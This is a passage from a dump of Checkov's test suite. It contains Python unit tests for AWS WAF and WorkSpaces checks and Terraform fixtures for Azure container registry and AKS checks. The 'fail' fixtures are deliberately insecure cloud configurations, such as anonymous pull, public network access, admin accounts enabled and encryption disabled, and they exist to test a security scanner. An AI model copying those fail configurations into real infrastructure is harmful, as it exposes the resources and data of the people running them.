unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_WAFHasAnyRules.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.WAFHasAnyRules import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestWafHasAnyRules(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_WafHasAnyRules\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_waf_web_acl.pass\",\n            'aws_wafv2_web_acl.pass',\n            'aws_wafregional_web_acl.pass',\n        }\n\n        failing_resources = {\n            \"aws_waf_web_acl.fail\",\n            \"aws_waf_web_acl.fail2\",\n            'aws_wafv2_web_acl.fail',\n            'aws_wafv2_web_acl.fail2',\n            'aws_wafregional_web_acl.fail',\n            'aws_wafregional_web_acl.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 6)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_WAFHasLogs.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.WAFHasLogs import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestWAFHasLogs(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_WAFHasLogs\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_waf_web_acl.pass\",\n            'aws_wafregional_web_acl.pass',\n        }\n\n        failing_resources = {\n            \"aws_waf_web_acl.fail\",\n            'aws_wafregional_web_acl.fail',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_WAFRuleHasAnyActions.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.WAFRuleHasAnyActions import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestWAFRuleHasAnyActions(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_WAFRuleHasAnyActions\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_waf_web_acl.pass\",\n            'aws_wafv2_web_acl.pass',\n            'aws_wafregional_web_acl.pass',\n            'aws_wafregional_web_acl.pass2',\n            'aws_wafregional_web_acl.pass3',\n            'aws_wafv2_rule_group.pass',\n            'aws_wafregional_rule_group.pass',\n            'aws_waf_rule_group.pass',\n            'aws_wafv2_web_acl.pass_managed',\n            'aws_wafv2_web_acl.pass_dynamic'\n        }\n\n        failing_resources = {\n            \"aws_waf_web_acl.fail\",\n            'aws_wafv2_web_acl.fail',\n            'aws_wafregional_web_acl.fail',\n            'aws_wafregional_web_acl.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_WorkspaceRootVolumeEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.WorkspaceRootVolumeEncrypted import check\nfrom checkov.terraform.runner import Runner\n\nclass TestWorkspaceRootVolumeEncrypted(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_WorkspaceRootVolumeEncrypted\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_workspaces_workspace.pass\",\n        }\n        failing_resources = {\n            \"aws_workspaces_workspace.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_WorkspaceUserVolumeEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.WorkspaceUserVolumeEncrypted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestWorkspaceUserVolumeEncrypted(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_WorkspaceUserVolumeEncrypted\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_workspaces_workspace.pass\",\n        }\n        failing_resources = {\n            \"aws_workspaces_workspace.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_ACRAdminAccountDisabled/main.tf",
    "content": "## SHOULD PASS: Explicit false\nresource \"azurerm_container_registry\" \"ckv_unittest_pass\" {\n  name                = \"containerRegistry1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n  admin_enabled       = false\n}\n\n## SHOULD PASS: Default false\nresource \"azurerm_container_registry\" \"ckv_unittest_pass_2\" {\n  name                = \"containerRegistry1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n}\n\n## SHOULD FAIL: Explicit true\nresource \"azurerm_container_registry\" \"ckv_unittest_fail\" {\n  name                = \"containerRegistry1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n  admin_enabled       = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_ACRAnonymousPullDisabled/main.tf",
    "content": "## SHOULD PASS: Premium tier SKU, explicitly disabled\nresource \"azurerm_container_registry\" \"ckv_unittest_pass_1\" {\n  name                   = \"containerRegistry1\"\n  resource_group_name    = azurerm_resource_group.rg.name\n  location               = azurerm_resource_group.rg.location\n  sku                    = \"Premium\"\n  anonymous_pull_enabled = false\n}\n\n## SHOULD PASS: Premium tier SKU, disabled by default\nresource \"azurerm_container_registry\" \"ckv_unittest_pass_2\" {\n  name                = \"containerRegistry1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n  sku                 = \"Premium\"\n}\n\n## SHOULD PASS: Standard tier SKU, disabled by default\nresource \"azurerm_container_registry\" \"ckv_unittest_pass_3\" {\n  name                = \"containerRegistry1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n  sku                 = \"Standard\"\n}\n\n## SHOULD PASS: Basic tier should be ignored, anonymous_pull_enabled not supported\nresource \"azurerm_container_registry\" \"ckv_unittest_pass_4\" {\n  name                   = \"containerRegistry1\"\n  resource_group_name    = azurerm_resource_group.rg.name\n  location               = azurerm_resource_group.rg.location\n  sku                    = \"Basic\"\n  anonymous_pull_enabled = true\n}\n\n## SHOULD PASS: No explicit tier defined scenario should be ignored, as of azurerm v2.96.0 sku defaults to Classic which is unsupported\nresource \"azurerm_container_registry\" \"ckv_unittest_pass_5\" {\n  name                   = \"containerRegistry1\"\n  resource_group_name    = azurerm_resource_group.rg.name\n  location               = azurerm_resource_group.rg.location\n  anonymous_pull_enabled = true\n}\n\n## SHOULD PASS: malformed SKU\nresource \"azurerm_container_registry\" \"ckv_unittest_pass_6\" {\n  name                   = \"containerRegistry1\"\n  resource_group_name    = azurerm_resource_group.rg.name\n  location               = azurerm_resource_group.rg.location\n  sku                    = []\n  anonymous_pull_enabled = true\n}\n\n## SHOULD FAIL: Premium tier, explicitly enabled\nresource \"azurerm_container_registry\" \"ckv_unittest_fail_1\" {\n  name                   = \"containerRegistry1\"\n  resource_group_name    = azurerm_resource_group.rg.name\n  location               = azurerm_resource_group.rg.location\n  sku                    = \"Premium\"\n  anonymous_pull_enabled = true\n}\n\n## SHOULD FAIL: Standard tier, explicitly enabled\nresource \"azurerm_container_registry\" \"ckv_unittest_fail_2\" {\n  name                   = \"containerRegistry1\"\n  resource_group_name    = azurerm_resource_group.rg.name\n  location               = azurerm_resource_group.rg.location\n  sku                    = \"Standard\"\n  anonymous_pull_enabled = true\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_ACRContainerScanEnabled/main.tf",
    "content": "\nresource \"azurerm_container_registry\" \"pass\" {\n  name                = \"containerRegistry1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n  sku                 = \"Premium\"\n}\n\n\nresource \"azurerm_container_registry\" \"pass2\" {\n  name                = \"containerRegistry1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n  sku                 = \"Standard\"\n}\n\n\nresource \"azurerm_container_registry\" \"fail\" {\n  name                = \"containerRegistry1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n  sku                 = \"Basic\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_ACRDedicatedDataEndpointEnabled/main.tf",
    "content": "\nresource \"azurerm_container_registry\" \"pass\" {\n  name                      = \"containerRegistry1\"\n  resource_group_name       = azurerm_resource_group.rg.name\n  location                  = azurerm_resource_group.rg.location\n  sku                       = \"Premium\"\n  anonymous_pull_enabled    = false\n  data_endpoint_enabled = true\n}\n\n\nresource \"azurerm_container_registry\" \"fail\" {\n  name                = \"containerRegistry1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n  sku                 = \"Premium\"\n}\n\n\nresource \"azurerm_container_registry\" \"fail2\" {\n  name                      = \"containerRegistry1\"\n  resource_group_name       = azurerm_resource_group.rg.name\n  location                  = azurerm_resource_group.rg.location\n  sku                       = \"Standard\"\n  data_endpoint_enabled = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_ACREnableImageQuarantine/main.tf",
    "content": "\nresource \"azurerm_container_registry\" \"pass\" {\n  name                      = \"containerRegistry1\"\n  resource_group_name       = azurerm_resource_group.rg.name\n  location                  = azurerm_resource_group.rg.location\n  sku                       = \"Premium\"\n  anonymous_pull_enabled    = false\n  quarantine_policy_enabled = true\n}\n\n\nresource \"azurerm_container_registry\" \"fail\" {\n  name                = \"containerRegistry1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n  sku                 = \"Premium\"\n}\n\n\nresource \"azurerm_container_registry\" \"fail2\" {\n  name                      = \"containerRegistry1\"\n  resource_group_name       = azurerm_resource_group.rg.name\n  location                  = azurerm_resource_group.rg.location\n  sku                       = \"Standard\"\n  quarantine_policy_enabled = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_ACREnableRetentionPolicy/main.tf",
    "content": "resource \"azurerm_container_registry\" \"pass_old\" {\n  name                      = \"containerRegistry1\"\n  resource_group_name       = azurerm_resource_group.rg.name\n  location                  = azurerm_resource_group.rg.location\n  sku                       = \"Premium\"\n  anonymous_pull_enabled    = false\n  quarantine_policy_enabled = true\n  retention_policy {\n    enabled = true\n  }\n}\n\nresource \"azurerm_container_registry\" \"pass_new\" {\n  name                      = \"containerRegistry1\"\n  resource_group_name       = azurerm_resource_group.rg.name\n  location                  = azurerm_resource_group.rg.location\n  sku                       = \"Premium\"\n  anonymous_pull_enabled    = false\n  quarantine_policy_enabled = true\n  retention_policy_in_days  = 7\n}\n\nresource \"azurerm_container_registry\" \"fail_old\" {\n  name                      = \"containerRegistry1\"\n  resource_group_name       = azurerm_resource_group.rg.name\n  location                  = azurerm_resource_group.rg.location\n  sku                       = \"Premium\"\n  anonymous_pull_enabled    = false\n  quarantine_policy_enabled = true\n  retention_policy {\n    enabled = false\n  }\n}\n\nresource \"azurerm_container_registry\" \"fail\" {\n  name                = \"containerRegistry1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n  sku                 = \"Premium\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_ACREnableZoneRedundancy/main.tf",
    "content": "\nresource \"azurerm_container_registry\" \"pass\" {\n  name                    = \"containerRegistry1\"\n  resource_group_name     = azurerm_resource_group.example.name\n  location                = azurerm_resource_group.example.location\n  sku                     = \"Premium\"\n  zone_redundancy_enabled = true\n}\n\n\nresource \"azurerm_container_registry\" \"pass2\" {\n  name                    = \"containerRegistry1\"\n  resource_group_name     = azurerm_resource_group.example.name\n  location                = azurerm_resource_group.example.location\n  sku                     = \"Premium\"\n  zone_redundancy_enabled = true\n  georeplications {\n    location                = \"East US\"\n    zone_redundancy_enabled = true\n  }\n  georeplications {\n    location                = \"North Europe\"\n    zone_redundancy_enabled = true\n  }\n}\n\n\nresource \"azurerm_container_registry\" \"fail\" {\n  name                = \"containerRegistry1\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  sku                 = \"Premium\"\n}\n\n\nresource \"azurerm_container_registry\" \"fail2\" {\n  name                    = \"containerRegistry1\"\n  resource_group_name     = azurerm_resource_group.example.name\n  location                = azurerm_resource_group.example.location\n  sku                     = \"Premium\"\n  zone_redundancy_enabled = false\n}\n\n\nresource \"azurerm_container_registry\" \"fail3\" {\n  name                    = \"containerRegistry1\"\n  resource_group_name     = azurerm_resource_group.example.name\n  location                = azurerm_resource_group.example.location\n  sku                     = \"Premium\"\n  zone_redundancy_enabled = true\n  georeplications {\n    location = \"East US\"\n  }\n  georeplications {\n    location                = \"North Europe\"\n    zone_redundancy_enabled = true\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_ACRGeoreplicated/main.tf",
    "content": "resource \"azurerm_container_registry\" \"fail\" {\n  name                          = var.acr.name\n  resource_group_name           = var.acr.resource_group_name\n  location                      = var.acr.location\n  sku                           = \"Basic\"\n  anonymous_pull_enabled        = var.anonymous_pull_enabled\n  trust_policy_enabled          = var.trust_policy_enabled\n  public_network_access_enabled = var.public_network_access\n\n\n  dynamic \"georeplications\" {\n    for_each = var.replications\n    content {\n      location                  = georeplications.value[\"location\"]\n      regional_endpoint_enabled = georeplications.value[\"regional_endpoint_enabled\"]\n      zone_redundancy_enabled   = georeplications.value[\"zone_redundancy_enabled\"]\n      tags                      = georeplications.value[\"tags\"]\n    }\n  }\n}\n\nresource \"azurerm_container_registry\" \"fail2\" {\n  name                          = var.acr.name\n  resource_group_name           = var.acr.resource_group_name\n  location                      = var.acr.location\n  anonymous_pull_enabled        = var.anonymous_pull_enabled\n  trust_policy_enabled          = var.trust_policy_enabled\n  public_network_access_enabled = var.public_network_access\n\n\n  dynamic \"georeplications\" {\n    for_each = var.replications\n    content {\n      location                  = georeplications.value[\"location\"]\n      regional_endpoint_enabled = georeplications.value[\"regional_endpoint_enabled\"]\n      zone_redundancy_enabled   = georeplications.value[\"zone_redundancy_enabled\"]\n      tags                      = georeplications.value[\"tags\"]\n    }\n  }\n}\n\nresource \"azurerm_container_registry\" \"fail3\" {\n  name                          = var.acr.name\n  resource_group_name           = var.acr.resource_group_name\n  location                      = var.acr.location\n  anonymous_pull_enabled        = var.anonymous_pull_enabled\n  trust_policy_enabled          = var.trust_policy_enabled\n  sku                           = \"Premium\"\n  public_network_access_enabled = var.public_network_access\n}\n\nresource \"azurerm_container_registry\" \"pass\" {\n  name                          = var.acr.name\n  resource_group_name           = var.acr.resource_group_name\n  location                      = var.acr.location\n  anonymous_pull_enabled        = var.anonymous_pull_enabled\n  trust_policy_enabled          = var.trust_policy_enabled\n  sku                           = \"Premium\"\n  public_network_access_enabled = var.public_network_access\n  georeplications {\n    location                  = var.georeplications.value[\"location\"]\n    regional_endpoint_enabled = var.georeplications.value[\"regional_endpoint_enabled\"]\n    zone_redundancy_enabled   = var.georeplications.value[\"zone_redundancy_enabled\"]\n    tags                      = var.georeplications.value[\"tags\"]\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_ACRPublicNetworkAccessDisabled/main.tf",
    "content": "## SHOULD PASS: Explicitly set to false\nresource \"azurerm_container_registry\" \"ckv_unittest_pass\" {\n  name                          = \"containerRegistry1\"\n  resource_group_name           = azurerm_resource_group.rg.name\n  location                      = azurerm_resource_group.rg.location\n  public_network_access_enabled = false\n}\n\n\n## SHOULD FAIL: Explicitly set to true\nresource \"azurerm_container_registry\" \"ckv_unittest_fail\" {\n  name                          = \"containerRegistry1\"\n  resource_group_name           = azurerm_resource_group.rg.name\n  location                      = azurerm_resource_group.rg.location\n  public_network_access_enabled = true\n}\n\n## SHOULD FAIL: Not set, default is true\nresource \"azurerm_container_registry\" \"ckv_unittest_fail_2\" {\n  name                = \"containerRegistry1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_ACRUseSignedImages/main.tf",
    "content": "\nresource \"azurerm_container_registry\" \"pass_new\" {\n  name                   = \"containerRegistry1\"\n  resource_group_name    = azurerm_resource_group.rg.name\n  location               = azurerm_resource_group.rg.location\n  sku                    = \"Premium\"\n  anonymous_pull_enabled = false\n  trust_policy_enabled   = true\n}\n\nresource \"azurerm_container_registry\" \"pass_old\" {\n  name                   = \"containerRegistry1\"\n  resource_group_name    = azurerm_resource_group.rg.name\n  location               = azurerm_resource_group.rg.location\n  sku                    = \"Premium\"\n  anonymous_pull_enabled = false\n  trust_policy {\n    enabled = true\n  }\n}\n\nresource \"azurerm_container_registry\" \"fail\" {\n  name                = \"containerRegistry1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n  sku                 = \"Premium\"\n}\n\n\nresource \"azurerm_container_registry\" \"fail2_new\" {\n  name                 = \"containerRegistry1\"\n  resource_group_name  = azurerm_resource_group.rg.name\n  location             = azurerm_resource_group.rg.location\n  sku                  = \"Standard\"\n  trust_policy_enabled = false\n}\n\nresource \"azurerm_container_registry\" \"fail2_old\" {\n  name                = \"containerRegistry1\"\n  resource_group_name = azurerm_resource_group.rg.name\n  location            = azurerm_resource_group.rg.location\n  sku                 = \"Standard\"\n  trust_policy {\n    enabled = false\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AKSApiServerAuthorizedIpRanges/main.tf",
    "content": "# pass\n\nresource \"azurerm_kubernetes_cluster\" \"enabled\" {\n  name                = \"example\"\n  location            = \"azurerm_resource_group.example.location\"\n  resource_group_name = \"azurerm_resource_group.example.name\"\n  dns_prefix          = \"example\"\n\n  default_node_pool {\n    name       = \"default\"\n    node_count = 1\n    vm_size    = \"Standard_D2_v2\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  api_server_authorized_ip_ranges = [\"192.168.0.0/16\"]\n}\n\nresource \"azurerm_kubernetes_cluster\" \"private\" {\n  name                = \"example\"\n  location            = \"azurerm_resource_group.example.location\"\n  resource_group_name = \"azurerm_resource_group.example.name\"\n  dns_prefix          = \"example\"\n\n  default_node_pool {\n    name       = \"default\"\n    node_count = 1\n    vm_size    = \"Standard_D2_v2\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  private_cluster_enabled = true\n}\n\nresource \"azurerm_kubernetes_cluster\" \"version_3_39\" {\n  name                = \"example\"\n  location            = \"azurerm_resource_group.example.location\"\n  resource_group_name = \"azurerm_resource_group.example.name\"\n  dns_prefix          = \"example\"\n\n  api_server_access_profile {\n    authorized_ip_ranges = [\"192.168.0.0/16\"]\n  }\n}\n\n# fail\n\nresource \"azurerm_kubernetes_cluster\" \"default\" {\n  name                = \"example\"\n  location            = \"azurerm_resource_group.example.location\"\n  resource_group_name = \"azurerm_resource_group.example.name\"\n  dns_prefix          = \"example\"\n\n  default_node_pool {\n    name       = \"default\"\n    node_count = 1\n    vm_size    = \"Standard_D2_v2\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_kubernetes_cluster\" \"empty\" {\n  name                = \"example\"\n  location            = \"azurerm_resource_group.example.location\"\n  resource_group_name = \"azurerm_resource_group.example.name\"\n  dns_prefix          = \"example\"\n\n  default_node_pool {\n    name       = \"default\"\n    node_count = 1\n    vm_size    = \"Standard_D2_v2\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  api_server_authorized_ip_ranges = []\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AKSDashboardDisabled/main.tf",
    "content": "resource \"azurerm_kubernetes_cluster\" \"pass2\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n  default_node_pool {\n    name       = \"default\"\n    node_count = 1\n    vm_size    = \"Standard_D2_v2\"\n  }\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  role_based_access_control {\n    enabled = false\n  }\n  addon_profile {\n    kube_dashboard {\n      enabled = false\n    }\n  }\n  network_profile {\n    network_plugin = \"azure\"\n    network_policy = \"azure\"\n  }\n  tags = { \"Environment\" : \"Production\" }\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail2\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name       = \"default\"\n    node_count = 1\n    vm_size    = \"Standard_D2_v2\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags = {\n    Environment = \"Production\"\n  }\n\n  addon_profile {\n    kube_dashboard {\n      enabled = true\n    }\n  }\n}\n\n\nresource \"azurerm_kubernetes_cluster\" \"fail\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n  default_node_pool {\n    name       = \"default\"\n    node_count = 1\n    vm_size    = \"Standard_D2_v2\"\n  }\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  api_server_authorized_ip_ranges = [\"192.168.0.0/16\"]\n  tags                            = { \"Environment\" : \"Production\" }\n  addon_profile {\n    kube_dashboard { enabled = true }\n    oms_agent {\n      enabled = true\n    }\n  }\n}\n\n\n\nresource \"azurerm_kubernetes_cluster\" \"pass\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n  default_node_pool {\n    name       = \"default\"\n    node_count = 1\n    vm_size    = \"Standard_D2_v2\"\n  }\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  role_based_access_control {\n    enabled = true\n  }\n  network_profile {\n    network_plugin = \"azure\"\n  }\n  tags = { \"Environment\" = \"Production\" }\n\n}\n\n\n\nresource \"azurerm_resource_group\" \"example\" {\n  name     = \"example\"\n  location = \"uksouth\"\n}\n\nprovider \"azurerm\" {\n  features {}\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AKSEncryptionAtHostEnabled/main.tf",
    "content": "resource \"azurerm_kubernetes_cluster\" \"pass\" {\n  name                  = \"internal\"\n  kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id\n  vm_size               = \"Standard_DS2_v2\"\n  node_count            = 1\n\n  default_node_pool {\n    name = \"default\"\n\n    enable_host_encryption       = true\n    vm_size                      = \"Standard_E4ads_v5\"\n    os_disk_type                 = \"Ephemeral\"\n    zones                        = [1, 2, 3]\n    only_critical_addons_enabled = true\n\n    type                 = \"VirtualMachineScaleSets\"\n    vnet_subnet_id       = var.subnet_id\n    enable_auto_scaling  = true\n    max_count            = 6\n    min_count            = 2\n    orchestrator_version = local.kubernetes_version\n  }\n\n}\n\nresource \"azurerm_kubernetes_cluster_node_pool\" \"pass\" {\n  name                  = \"internal\"\n  kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id\n  vm_size               = \"Standard_DS2_v2\"\n  node_count            = 1\n  enable_host_encryption = true\n\n  tags = {\n    Environment = \"Production\"\n  }\n}\n\nresource \"azurerm_kubernetes_cluster\" \"pass_new\" {\n  name                  = \"internal\"\n  default_node_pool {\n    host_encryption_enabled = true\n  }\n}\n\nresource \"azurerm_kubernetes_cluster_node_pool\" \"pass_new\" {\n  name                  = \"internal\"\n  kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id\n  vm_size               = \"Standard_DS2_v2\"\n  node_count            = 1\n  host_encryption_enabled = true\n}\n\n\nresource \"azurerm_kubernetes_cluster\" \"fail_new\" {\n  name                  = \"internal\"\n  default_node_pool {\n    host_encryption_enabled = false\n  }\n}\n\nresource \"azurerm_kubernetes_cluster_node_pool\" \"fail_new\" {\n  name                  = \"internal\"\n  kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id\n  vm_size               = \"Standard_DS2_v2\"\n  node_count            = 1\n  host_encryption_enabled = false\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail1\" {\n  name                  = \"internal\"\n  kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id\n  vm_size               = \"Standard_DS2_v2\"\n  node_count            = 1\n\n  tags = {\n    Environment = \"Production\"\n  }\n\n  default_node_pool {\n    name = \"default\"\n\n    enable_host_encryption       = false\n    vm_size                      = \"Standard_E4ads_v5\"\n    zones                        = [1, 2, 3]\n    only_critical_addons_enabled = true\n\n    type                 = \"VirtualMachineScaleSets\"\n    vnet_subnet_id       = var.subnet_id\n    enable_auto_scaling  = true\n    max_count            = 6\n    min_count            = 2\n    orchestrator_version = local.kubernetes_version\n  }\n\n}\n\nresource \"azurerm_kubernetes_cluster_node_pool\" \"fail1\" {\n  name                  = \"internal\"\n  kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id\n  vm_size               = \"Standard_DS2_v2\"\n  node_count            = 1\n  enable_host_encryption = false\n\n  tags = {\n    Environment = \"Production\"\n  }\n}\n\n\nresource \"azurerm_kubernetes_cluster\" \"fail2\" {\n  name                  = \"internal\"\n  kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id\n  vm_size               = \"Standard_DS2_v2\"\n  node_count            = 1\n\n  default_node_pool {\n    name = \"default\"\n\n    vm_size                      = \"Standard_E4ads_v5\"\n    os_disk_type                 = \"Ephemeral\"\n    zones                        = [1, 2, 3]\n    only_critical_addons_enabled = true\n\n    type                 = \"VirtualMachineScaleSets\"\n    vnet_subnet_id       = var.subnet_id\n    enable_auto_scaling  = true\n    max_count            = 6\n    min_count            = 2\n    orchestrator_version = local.kubernetes_version\n  }\n\n}\n\nresource \"azurerm_kubernetes_cluster_node_pool\" \"fail2\" {\n  name                  = \"internal\"\n  kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id\n  vm_size               = \"Standard_DS2_v2\"\n  node_count            = 1\n\n  tags = {\n    Environment = \"Production\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AKSEphemeralOSDisks/main.tf",
